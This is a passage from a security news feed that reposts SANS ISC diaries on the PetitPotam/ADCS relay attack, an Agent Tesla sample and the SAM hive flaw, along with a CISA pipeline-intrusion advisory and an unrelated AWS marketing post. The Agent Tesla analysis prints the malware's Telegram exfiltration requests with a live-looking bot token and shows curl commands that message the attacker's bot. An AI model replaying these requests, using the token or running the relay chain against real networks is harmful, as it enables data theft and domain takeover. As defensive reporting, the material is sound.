Active Directory Certificate Services (ADCS – PKI) domain admin vulnerability, (Sat, Jul 24th)

This post was originally published on this site

Phew, this was a really bad week for Microsoft (and a lot of reading for all of us). And just when we thought that the fiasco with the SAM hive was over, a new vulnerability popped up, which is much, much more dangerous unfortunately – it allows a user to completely take over a Windows domain that has the ADCS service running. And those are probably running in majority of enterprises.

This involves chaining few things (and I’m a big fan of chaining vulnerabilities), and the bottom line issue is in relaying NTLM authentications (as has been many, many times before).

This is what’s going on now:

(1) Let’s provoke arbitrary NTLM authentication

Earlier this week, @topotam77 released a PoC tool called PetitPotam, which exploits the MS-EFSRPC (Encrypting File System Remote (EFSRPC)) protocol in order to provoke one Windows host to try to authenticate to another. This is done over LSARPC (TCP port 445) and results in making the target server connect to an arbitrary server and perform NTLM authentication.

What’s even crazier is that this can be done without any authentication – so as long as you can connect to the target server to the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e, you can make that target server connect to any other server.

Here’s how this can be done:

(2) Relaying to Active Directory Certificate Services

The other vulnerability that is being exploited here is the fact that the IIS server that is used by Active Directory Certificate Services uses NTLM over HTTP for authentication. This makes it perfect for this attack. @ExAndroidDev made a fork of the amazing Responder tool and added support for this attack.

Basically, what the fork is doing is using Responder to relay NTLM authentication to the Active Directory Certificate Services IIS server. In this process it first sends a POST HTTP request to the /certsrv/certfnsh.as endpoint with an automatically generated certificate. While doing this it also passes the NTLM credentials.

If the POST request was successful, the Active Directory Certificate Services server will sign the certificate and Responder will fetch it by sending a GET HTTP request to /certsrv/certnew.cer?ReqID= where the parameter will be provided as response to the POST request.

This is what it looks like when executed:

With the certificate now, it is actually game over.

(3)    Using Rubeus to get a TGT

The attacker can now use the Rubeus tool to fetch a Kerberos TGT (Ticket Granting Ticket), by using the machine account that was initially abused to make the NTLM connection. You can probably guess it by now – if that machine was a domain controller, we can get the TGT as that domain controller machine account, which will then ultimately allow the attacker to fully compromise the domain.

It is really game over now. With this TGT in our cache, we can fetch service tickets and perform any action we want, including the Mimikatz’ famous DCSync as @gentilkiwi demonstrated.

Talk about a bad week. And weekend. Sowhat can we do?

One of main issues here is that Active Directory Certificate Services use NTLM for authentication:

So, depending on how your enterprise uses ADCS, you could disable NTLM authentication on the IIS server and this particular attack will not be possible any more. Of course, if you do not need this particular service (web based certificate enroll) – remove it completely!

Couple of other things that will help:

  • Use host based firewalls to limit connectivity as much as possible. Does your DC need to make outbound connections to port 445? Do your workstations need to allow inbound connectivity to port 445?
  • Collect IIS logs from the Active Directory Certificate Services server to your SIEM and check for those requests mentioned above.

We’ll (again) keep an eye on this, and will update the diary with new information when possible. But it looks like it will be a busy weekend for some.


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Agent.Tesla Dropped via a .daa Image and Talking to Telegram, (Sat, Jul 24th)

This post was originally published on this site

A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can’t process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.

The sample was called “E445333###.exe” (SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It’s a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.

It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------8d94d2d30eed79c

Host: api.telegram.org
Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="chat_id"

1599705393
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="caption"

New Log Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html"
Content-Type: text/html

Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft Windows 10 Enterprise<br>CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz<br>RAM: 8191.49 MB<br>IP Address: <br><hr><br><font color="#00b1ba"><b>[ Process Hacker: </b>Filter <b>]</b> <font color="#000000">(07/22/2021 16:01:01)</font></font><br>api<font color="#00ba66">{ENTER}</font><br>

-----------------------------8d94d2d30eed79c--

And the reply:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 22 Jul 2021 14:24:34 GMT
Content-Type: application/json
Content-Length: 662
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

{"ok":true,"result":{"message_id":6630,"from":{"id":1815802853,"is_bot":true,"first_name":"Bigdealz","username":"Bigdealzbot"},"chat":{"id":1599705393,"first_name":"Gracia","last_name":"Smith","username":"Graciasmith1","type":"private"},"date":1626963874,"document":{"file_name":"REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIZ5mD5f6KNxerk3Fq4TG00ctuw4KRbAAJYCAACBovJUw5z5vTXh3vBIAQ","file_unique_id":"AgADWAgAAgaLyVM","file_size":388},"caption":"New Log Recovered!nnUser Name: REM/DESKTOP-2C3IQHOnOSFullName: Microsoft Windows 10 EnterprisenCPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHznRAM: 8191.49 MB"}}

A few minutes later, the Trojan started to exfiltrate screenshots:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8d94d3662696c53
Host: api.telegram.org
Content-Length: 194635
Expect: 100-continue
Connection: Keep-Alive

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="chat_id"

1599705393

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="caption"

New Screenshot Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg"
Content-Type: image/jpeg

JFIF``C
(1#%(:3=<9387@HN@DWE78PmQW_bghg>MqypdxegcC//cB8BccccccccccccccccccccccccccccccccccccccccccccccccccOm"
[stuff deleted]

The file that is uploaded contains a timestamp. This confirmed to me that a screenshot is exfiltrated every hour.

Because we know the bot ID, we can interact with it.

Let’s check the bot info:

remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/getMe | jq
{
  "ok": true,
  "result": {
    "id": 1815802853,
    "is_bot": true,
    "first_name": "Bigdealz",
    "username": "Bigdealzbot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false
  }
}

The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:

remnux@remnux:~$  curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendMessage -X POST -d '{"chat_id":"1599705393", "text":"Ping"}' -H "Content-Type: application/json" | jq
{
  "ok": true,
  "result": {
    "message_id": 6884,
    "from": {
      "id": 1815802853,
      "is_bot": true,
      "first_name": "Bigdealz",
      "username": "Bigdealzbot"
    },
    "chat": {
      "id": 1599705393,
      "first_name": "Gracia",
      "last_name": "Smith",
      "username": "Graciasmith1",
      "type": "private"
    },
    "date": 1627107886,
    "text": "Ping"
  }
}

As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to api.telegram.org as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? 😉

[1] https://isc.sans.edu/forums/diary/The+DAA+File+Format/25246
[2] https://www.virustotal.com/gui/file/853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Uncovering Shenanigans in an IP Address Block via Hurricane Electric's BGP Toolkit (II), (Fri, Jul 23rd)

This post was originally published on this site

Today’s diary revisits hunting for dodgy domains via Hurricane Electric's BGP Toolkit [1]. This was previously done in an earlier diary [2], and I plan to do this occasionally to share potential or identified threats so that readers can be aware of them.

I selected the IP address block of 209.58.160.0/20 this time, partly also due to a significant number of hits on my DShield sensor from this IP address block. An entry immediately caught my attention, and stood out due to the recent Akamai outage as mentioned by Johannes [3]. With reference to Figure 1, there was a site “akammai.com” lurking amongst the plethora of many other websites that was hosted on the same IP address.

Figure 1: “akammai.com” Hosted on 209.58.163[.]95

A closer inspection on the site showed a “Hello world” post, and did not display any other noticeable features (as shown in Figure 2).

Figure 2: Screenshot of “akammai.com”

As of now, the site appears to be pretty harmless. However, the domain name is quite close to the actual Akamai domain name (akamai.com). Depending on the true owner of the domain name “akammai.com”, the site could very well be repurposed and used by cybercriminals or red teams for their phishing campaigns. This is especially so due to the recent Akamai outage, or perhaps in a future unforeseen outage related to Akamai. It would be worthwhile to be wary of such domain names, particularly more so if they do not have any relation to the original site but yet bear such a close resemblance.

Indicators of Compromise (IOCs):
hxxp://akammai[.]com
209.58.163[.]95

References:
[1] https://bgp.he.net/
[2] https://isc.sans.edu/diary/27456
[3] https://isc.sans.edu/diary/27660

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AWS Contact Center Day – July 2021

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AWS Contact Center Days

Earlier this week, I ordered from Amazon.fr a box of four toothpaste tubes, but only one was in the box. I called Amazon’s customer center. The agent immediately found my order without me having to share the long order number. She issued a refund and told me I even can keep the one tube I received, no return was needed.  As a customer, I can’t ask for better customer service.

Amazon strives to be the earth’s most customer-centric company, not only because it is the right thing to do for customers, but because over the long term, it’s good for the business. According to a Salesforce study, 80% of customers believe the experience a company provides is as important as its product or services. Over 90% of customers believe a positive customer service experience makes them more likely to make another purchase.

Just like me, you might have been delighted by Amazon customer service already. We know that you want fast, convenient support and it’s what makes you loyal.

This is why we created the AWS Contact Center Day conference. To learn from industry experts how to create your contact center of the future in a free on-demand video conference.

Amazon’s Contact Centers
Amazon’s contact centers are critical to our mission to be focused on customer experience. Our contact centers have more than 100,000 customer-service associates in 32 countries who support millions of customers in dozens of languages. Given the scale and our strict requirements for security, resiliency, flexibility, agility, or automation, we couldn’t purchase an off-the-shelf solution. We decided to build our own.

Everything that Amazon learned from our customer service organization, while looking to the future, has helped us bring to market Amazon Connect, an easy-to-use omnichannel cloud contact center that helps businesses provide superior customer service at a lower cost. As the notion of the contact center has evolved, so have the expectations of customers. The contact center of the future isn’t a collection of disparate point solutions for taking a call or a chat, and it isn’t just an application that consolidates those technologies. It’s a platform that makes it easy to integrate with your enterprise applications or system of record. The contact center of the future makes it easy to use customer data in real time to personalize and contextualize all customer experiences.

Contact Centers Best Practices
To further support business looking to improve their contact centers, Amazon designed our first contact center focused event, AWS Contact Contact Center Day, a way to share best practices, customer experience, and contact center technology, and to learn how to use Amazon Connect to accelerate the modernization of your contact centers.

The one-day conference took place on July 13, 2021 and brought together some of the most influential people invested in the future of contact centers including: Becky Ploeger, Global Head of Hilton Reservations and Customer Care, and member of the Customer Contact Week advisory board; Matt Dixon, Chief Research and Innovation Officer at Tethr, and author of multiple bestsellers, including The Challenger Sale; Customer service expert; author Shep Hyken, author of I’ll Be Back: How to Get Customers to Come Back Again and Again; Brian Solis, Global Innovation Evangelist, Salesforce, and best-selling author; and Mark Honeycutt, Director of Consumer Operations, Amazon.

At Amazon, we have gone through years of trial and error to get to where our customer experience stands today. This is why we wanted to share our experiences with you so that you can learn from our progress:

  • Customers want super-human service. You can now automate routine customer experience and agent tasks. When I call my airline for a rebooking after a delayed flight, I expect to be greeted by name. I expect the system to know my flight was delayed and to offer rebooking suggestions. This can happen automatically today, without involving a customer agent. These automatic chatbot systems are personalized per customer. They are dynamic because they answer customer questions before they ask, and they are natural because they are based on voice interactions, like conversations between humans.
  • Customers expect personalized engagement. Amazon Connect allows for fast and secure interactions with real-time voice biometric authentication. There is no need to go through a lengthy authentication questionnaire anymore. After the customer is authenticated, the customer service agent has a 360-degree view of the customer’s profile, integrating and displaying data from across the enterprise and using machine learning to provide the right information at the right moment.
  • Contact centers must evolve quickly to answer changing needs. Contact center interactions must take action based on real-time data or customer sentiment. Leaders want to experiment, learn, and improve using customer analytics and data.

Learn more
If you’re interested in learning more about contact center excellence, the entire Contact Center Day conference is now available on demand.

Check out the full agenda and watch a session now or learn more about Amazon Connect.

I am looking forward my next delightful customer experience using your contact centers.

— seb

"Summer of SAM": Microsoft Releases Guidance for CVE-2021-36934, (Wed, Jul 21st)

This post was originally published on this site

Microsoft released a knowledge base article regarding CVE-2021-36934 [1]. Bojan yesterday explained the vulnerability in more detail. Recent versions of Microsoft Windows expose several system files due to overly permissive access control lists. Of main interest is the Security Accounts Manager (SAM), which exposes password hashes. It has been demonstrated how this can easily be exploited by retrieving these files from shadow volumes.

Microsoft recommends to:

  • restrict access to %windir%system32config
  • delete shadow copies

Deleting shadow copies will of course affect any attempts to restore a prior system state. A new shadow copy may be created after the old copies are deleted and the permissions are adjusted.

Windows 10 1809 and newer are affected. This includes the Windows 11 Beta. Server versions of Windows are not affected. But Microsoft also states that they are still investigating which versions are affected.

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA21-201A: Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013

This post was originally published on this site

Original release date: July 20, 2021

Summary

This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

Note: CISA released technical information, including indicators of compromise (IOCs), provided in this advisory in 2012 to affected organizations and stakeholders.

This Joint Cybersecurity Advisory—coauthored by the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI)—provides information on a spearphishing and intrusion campaign conducted by state-sponsored Chinese actors that occurred from December 2011 to 2013, targeting U.S. oil and natural gas (ONG) pipeline companies.

CISA and the FBI provided incident response and remediation support to a number of victims of this activity. Overall, the U.S. Government identified and tracked 23 U.S. natural gas pipeline operators targeted from 2011 to 2013 in this spearphishing and intrusion campaign. Of the known targeted entities, 13 were confirmed compromises, 3 were near misses, and 8 had an unknown depth of intrusion.

The U.S. Government has attributed this activity to Chinese state-sponsored actors. CISA and the FBI assess that these actors were specifically targeting U.S. pipeline infrastructure for the purpose of holding U.S. pipeline infrastructure at risk. Additionally, CISA and the FBI assess that this activity was ultimately intended to help China develop cyberattack capabilities against U.S. pipelines to physically damage pipelines or disrupt pipeline operations.

This advisory provides information on this campaign, including tactics, techniques, and procedures (TTPs) and IOCs. The TTPs remain relevant to help network defenders protect against intrusions. The IOCs are provided for historical awareness.

CISA and the FBI urge owners and operators of Energy Sector and other critical infrastructure (CI) networks to adopt a heightened state of awareness and implement the recommendations listed in the Mitigations section of this advisory, which include implementing network segmentation between IT and industrial control system (ICS)/operational technology (OT) networks. These mitigations will improve a CI entity’s defensive cyber posture and functional resilience by reducing the risk of compromise or severe operational degradation if the system is compromised by malicious cyber actors, including but not limited to actors associated with the campaign described in this advisory.

For more information on Chinese malicious cyber activity, see us-cert.cisa.gov/china.

Click here for a PDF version of this report.

Technical Details

In April 2012, CISA received reports about targeted attacks directed at multiple ONG pipeline sites; CISA (via a predecessor organization) and FBI provided incident response and remediation support to a number of victims from 2012 to 2013. CISA and FBI’s analysis of the malware and threat actor techniques identified that this activity was related to a spearphishing campaign. The U.S. Government identified and tracked 23 U.S. natural gas pipeline operators targeted in this campaign. Of the 23 known targeted entities, 13 were confirmed compromises, 3 were near misses, and 8 had an unknown depth of intrusion.

Threat Actor Activity

The spearphishing activity appears to have started in late December 2011. From December 9, 2011, through at least February 29, 2012, ONG organizations received spearphishing emails [T1566.002] specifically targeting their employees. The emails were at constructed with a high level of sophistication to convince employees to view malicious files [T1204.002]. Note: see the appendix for a table of the MITRE ATT&CK tactics and techniques observed in this campaign.

In addition to spearphishing, CISA and the FBI were made aware of social engineering attempts by malicious actors believed to be associated with this campaign. The apparent goal was to gain sensitive information from asset owners [T1598]. One asset owner reported that individuals in their network engineering department, including managers, received multiple phone calls requesting information about their recent network security practices. Other employees in other departments were not targeted. The asset owner also reported that these calls began immediately after they had identified and removed the malicious intruder from their network and performed a system-wide credential reset. The caller identified himself as an employee of a large computer security firm performing a national survey about network cybersecurity practices. He inquired about the organization’s policy and practices for firewall use and settings, types of software used to protect their network, and the use and type of intrusion detection and/or prevention systems. The caller was blocking his caller ID and when the targeted organization tried to return the call, they reached a number that was not in service.

During the investigation of these compromises, CISA and FBI personnel discovered that Chinese state-sponsored actors specifically collected [TA0009] and exfiltrated [TA0010] ICS-related information. The Chinese state-sponsored actors searched document repositories [T1213] for the following data types:

  • Document searches: “SCAD*”
  • Personnel lists
  • Usernames/passwords
  • Dial-up access information
  • System manuals

Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks. Though designed for legitimate business purposes, these systems have the potential to be manipulated by malicious cyber actors if unmitigated. With this access, the Chinese state-sponsored actors could have impersonated legitimate system operators to conduct unauthorized operations. According to the evidence obtained by CISA and FBI, the Chinese state-sponsored actors made no attempts to modify the pipeline operations of systems they accessed. Note: there was a significant number of cases where log data was not available, and the depth of intrusion and persistent impacts were unable to be determined; at least 8 of 23 cases (35 percent) identified in the campaign were assessed as having an unknown depth of intrusion due to the lack of log data.

CISA and FBI assess that during these intrusions, China was successful in accessing the supervisory control and data acquisition (SCADA) networks at several U.S. natural gas pipeline companies.

Chinese actors also gained information specific to dial-up access, including phone numbers, usernames, and passwords [T1120]. Dial-up modems continue to be prevalent in the Energy Sector, providing direct access into the ICS environment with little or no security and no monitoring, which makes them an optimal vector for hold-at-risk operations. The exfiltrated data provided the capabilities for the Chinese cyber actors to access ONG operational systems at a level where they could potentially conduct unauthorized operations.

Exfiltrated Information and Assessed Motives

The Chinese actors specifically targeted information that pertained to access of ICSs. Searches were made for terms involving “SCAD*,” and the actors exfiltrated documents, including personnel lists, usernames and passwords, dial-up access information, remote terminal unit (RTU) sites, and systems manuals. The Chinese actors also exfiltrated information pertaining to ICS permission groups and compromised jump points between corporate and ICS networks. The totality of this information would allow the actors to access ICS networks via multiple channels and would provide sufficient access to allow them to remotely perform unauthorized operations on the pipeline with physical consequences.

CISA and FBI assess that these intrusions were likely intended to gain strategic access to the ICS networks for future operations rather than for intellectual property theft. This assessment was based on the content of the data that was being exfiltrated and the TTPs used to gain that access. One victim organization set up a honeypot that contained decoy documents with content that appeared to be SCADA-related data and sensitive organizational information. According to this organization, the SCADA-related decoy content was exfiltrated within 15 minutes of the time it was made available in the honeypot. Other sensitive decoy information, including financial and business-related information, was ignored.

CISA and FBI assess that this activity was ultimately intended to help China develop cyberattack capabilities against U.S. pipelines to physically damage pipelines or disrupt pipeline operations.

Indicators of Compromise

Table 1 lists indicators related to this spearphishing and intrusion campaign as of May 7, 2012, which are provided in this alert for historical completeness.

Table 1: IOCs from Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013

Type Indicator Filename
Malware MD5:84873fae9cdecb84452fff9cca171004  ntshrui.dll  
Malicious email content, including any attachments and/or message body fpso.bigish[.]net  
Malware MD5:e12ce62cf7de42581c2fe1d7f36d521c  ntshrui.dll  

User agent string

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)  
User agent string Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Named pipe ssnp  
Possible command and control (C2) domain

<xxx>.arrowservice[.]net

Where xxx is the targeted company name abbreviation

 
Malware MD5:7361a1f33d48802d061605f34bf08fb0   spoolsvd.exe
Malware 5e6a033fa01739d9b517a468bd812162 AdobeUpdater.exe
Malware e62afe2273986240746203f9d55496db ins.exe
Malware ed92d1242c0017668b93a72865b0876b px.exe
Malware 6818a9aef22c0c2084293c82935e84fe gh.exe
Malware fcbbfadc992e265c351e54598a6f6dfb fslist.exe
Malware 05476307f4beb3c0d9099270c504f055 u.exe
Malware 54db65a27472c9f3126df5bf91a773ea slm.exe
Malware a46a7045c0a3350c5a4c919fff2831a0 niu.exe
Malware 60456fe206a87f5422b214369af4260e ccApp1.exe
Malware d6eaadcbcf9ea9192db1bd5bb7462bf8 ntshrui.dll
Malware 52294de74a80beb1e579e5bca7c7248a moonclient2.exe
Malware e62afe2273986240746203f9d55496db inn.exe
Malware 5e6a033fa01739d9b517a468bd812162 kkk.exe
Malware 4a8854363044e4d66bf34a0cd331d93d inn.exe
Malware 124ad1778c65a83208dbefcec7706dc6 AcroRD32.exe
Malware 17199ddac616938f383a0339f416c890 iass.dll
Malicious email sender address “(name of victim company official)@yahoo.com”  
Malicious email content, including any attachments and/or message body “If not read this paper, pay attention.”  
Malicious email hyperlinked probable malware The hyperlink indicated a “.zip” file and contained the words “quality specifications” in reference to a particular component or product unique to the victim U.S. corporation.  
Malicious email signature block Contained the name, title, phone number, and corporate email address of an actual victim company official.  
Malicious attachment name   Project-seems-clear-for-takeoff.zip
Possible C2 domain <xxx>.arrowservice[dot]net
Where <xxx> may be the full name of the targeted company
 
Possible C2 domain <xxx>.federalres[.]org  
Possible C2 domain <xxx>.businessconsults[.]net
Where <xxx> may be the targeted company name abbreviation or full name
 
Possible C2 domain idahoanad[dot]org  
Possible C2 domain energyreview.strangled[.]net  
Possible C2 domain blackcake[.]net   
Possible C2 domain infosupports[.]com  
Malware 7caf4dbf53ff1dcd5bd5be92462b2995 iTunesHelper.exe 
Malware 99b58e416c5e8e0bcdcd39ba417a08ed Solarworldsummary.exe
Malware f0a00cfd891059b70af96b807e9f9ab8 smss.exe
Malware ea1b46fab56e7f12c4c2e36cce63d593 AcroRD32.exe
Malicious email content, including any attachments and/or message body  3d28651bb2d16eeaa6a35099c886fbaa Election_2012_Analysis.pdf
Possible C2 domain balancefitstudio[.]com  
Possible C2 domain res.federalres[.]org  
Possible C2 domain 18center[.]com  
Possible C2 domain milk.crabdance[.]com  
Possible C2 domain bargainblog[.com[.]au  
Possible C2 domain etrace-it[.]com  
Possible C2 domain picture.wintersline[.]com  
Possible C2 domain wish.happyforever[.]com  
Possible C2 domain mitchellsrus[.]com  
Possible C2 domain un.linuxd[.]org  
Malicious email content, including any attachments and/or message body    How_Can_Steelmakers_Compete_for_Growth_in_the_Steel_Sector_in_2012.zip
Malicious email content, including any attachments and/or message body    (Company Name)_Summary.zip
Malicious email content, including any attachments and/or message body  f5369e59a1ddca9b97ede327e98d8ffe Solarworldsummary.zip
Malicious email content, including any attachments and/or message body    (Company Name)_to_Sell_RNGMS_to_(Company Name).zip
Malicious email content, including any attachments and/or message body    Gift-Winter.zip
Malicious email content, including any attachments and/or message body    Happy_New_Year.zip
Malicious email content, including any attachments and/or message body    Debt_Crisis_Hits_US.zip
Malicious email content, including any attachments and/or message body    01-12-RATEALERT.zip
Malicious email content, including any attachments and/or message body  fni.itgamezone[.]net  

 

Mitigations

CISA and the FBI urge Energy Sector and other CI owners and operators to apply the following mitigations to implement a layered, defense-in-depth cyber posture. By implementing a layered approach, administrators will enhance the defensive cyber posture of their OT/ICS networks, reducing the risk of compromise or severe operational degradation if their system is compromised by malicious cyber actors.

  • Harden the IT/corporate network to reduce the risk of initial compromise.
    • Update all software, including operating systems, applications, and firmware, in a timely manner. Consider using a centralized patch management system.
    • Replace all end-of-life software and hardware devices.
    • Restrict and manage remote access software. Remote access tools are a common method for threat actors to gain initial access and persistence on target networks.
      • Manage and restrict users and groups who are permitted to access remote capabilities. Permissions should be limited to users that require the capability to complete their duties.
      • Require multi-factor authentication (MFA) for remote access.
      • Limit access to resources over networks, especially by restricting Remote Desktop Protocol (RDP). If RDP is operationally necessary, restrict the originating sources and require MFA.
    • Enable strong spam filters to prevent phishing emails from reaching end users.
    • Implement unauthorized execution prevention by:
      • Disabling macro scrips from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
      • Implementing application allowlisting, which only allows systems to execute programs known and permitted by security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common malware locations, such as temporary folders supporting popular internet browsers.
    • Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses. Prevent users from accessing malicious websites by implementing URL blocklists and/or allow lists.
    • Set antivirus/antimalware programs to regularly scan IT network assets using up-to-date signatures.
  • Implement and ensure robust network segmentation between IT and ICS networks to limit the ability of cyber threat actors to move laterally to ICS networks if the IT network is compromised.
    • Implement a network topology for ICS that has multiple layers, with the most critical communications occurring in the most secure and reliable layer. For more information refer to National Institute of Standard and Technology (NIST) Special Publication 800-82: Guide to ICS Security.
    • Use one-way communication diodes to prevent external access, whenever possible.
    • Set up demilitarized zones (DMZs) to create a physical and logical subnetwork that acts as an intermediary for connected security devices to avoid exposure.
    • Employ reliable network security protocols and services where feasible.
    • Consider using virtual local area networks (VLANs) for additional network segmentation, for example, by placing all printers in separate, dedicated VLANs and restricting users’ direct printer access.
  • Implement perimeter security between network segments to limit the ability of cyber threat actors to move laterally.
    • Control traffic between network segments by using firewalls, intrusion detection systems (IDSs), and filter routers and switches.
    • Implement network monitoring at key chokepoints—including egress points to the internet, between network segments, core switch locations—and at key assets or services (e.g., remote access services).
    • Configure an IDS to create alarms for any ICS traffic outside normal operations (after establishing a baseline of normal operations and network traffic).
    • Configure security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.
  • Implement the following additional ICS environment best practices:
    • Update all software. Use a risk-based assessment strategy to determine which ICS network and assets and zones should participate in the patch management program.
      • Test all patches in off-line text environments before implementation.
    • Implement application allowlisting on human machine interfaces.
    • Harden field devices, including tablets and smartphones.
    • Replace all end-of-life software and hardware devices.
    • Disable unused ports and services on ICS devices (after testing to ensure this will not affect ICS operation).
    • Restrict and manage remote access software. Require MFA for remote access to ICS networks.
    • Configure encryption and security for ICS protocols.
    • Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
    • Do not allow vendors to connect their devices to the ICS network. Use of a compromised device could introduce malware. 
    • Maintain an ICS asset inventory of all hardware, software, and supporting infrastructure technologies. 
    • Ensure robust physical security is in place to prevent unauthorized personal from accessing controlled spaces that house ICS equipment.
    • Regularly test manual controls so that critical functions can be kept running if ICS/OT networks need to be taken offline.
    • Manage the supply chain by adjusting the ICS procurement process to weigh cybersecurity heavily as part of the scoring and evaluation methodology. Additionally, establish contractual agreements for all outsourced services that ensure proper incident handling and reporting, security of interconnections, and remote access specifications and processes.
  • Implement the following additional best practices:
    • Implement IP geo-blocking, as appropriate.
    • Implement regular, frequent data backup procedures on both the IT and ICS networks. Data backup procedures should address the following best practices:
      • Ensure backups are regularly tested.
      • Store backups separately, i.e., backups should be isolated from network connections that could enable spread of malware or lateral movement.
      • Maintain regularly updated “gold images” of critical systems in the event they need to be rebuilt.
      • Retain backup hardware to rebuild systems in the even rebuilding the primary system is not preferred.
    • Implement a user training program to train employees to recognize spearphishing attempts, discourage users from visiting malicious websites or opening malicious attachments, and re-enforce appropriate user response to spearphishing emails.

APPENDIX: Tactics and Techniques

Table 2 provides a summary of the MITRE ATT&CK tactics and techniques observed in this campaign.

Table 2: Observed MITRE ATT&CK tactics and techniques

Tactic Technique
Reconnaissance [TA0043] Phishing for Information [T1598]
Initial Access [TA0001] Phishing: Spearphishing Link [T1566.002]
Execution [TA0002] User Execution: Malicious File [T1204.002]
Discovery [TA0007] Peripheral Device Discovery [T1120]
Collection [TA0009] Information from Document Repositories [T1213]
Exfiltration  [TA0010]  

Revisions

  • Initial Version: July 20, 2021

This product is provided subject to this Notification and this Privacy & Use policy.

Summer of SAM – incorrect permissions on Windows 10/11 hives, (Tue, Jul 20th)

This post was originally published on this site

If you opened Twitter today you were probably flooded with news about the latest security issue with Windows. For those that have ISC as their home page (yay!) the issue is the following: apparently starting with Windows 10 1809 (hey, that’s a version from 2018) Microsoft messed up permissions on the SAM and SYSTEM hives which became readable for any user on the system.

This can be easily checked on your system with the icacls utility, as shown above for my test Windows:

